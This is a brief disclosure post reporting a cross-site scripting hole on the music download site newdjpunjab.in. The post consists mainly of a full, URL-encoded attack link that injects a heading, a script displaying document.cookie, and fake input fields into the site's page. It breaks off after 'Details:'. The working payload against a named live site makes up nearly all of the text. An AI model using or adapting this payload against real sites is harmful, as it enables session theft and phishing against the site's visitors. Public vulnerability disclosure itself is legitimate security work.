newdjpunjab.in XSS vulnerability

Vulnerable URL: http://newdjpunjab.in/mp3/?cat=/category.php?cat=Single%20Track%22%3E%3Ch1%3EM0ns7er%3C/h1%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E%3C/br%3E%3Cinput%20type=%22text%22%20name==%22Akash%22%3E%3C/br%3E%3Cinput%20type=%22submit%22%20name=%22submit%22%3E Details:...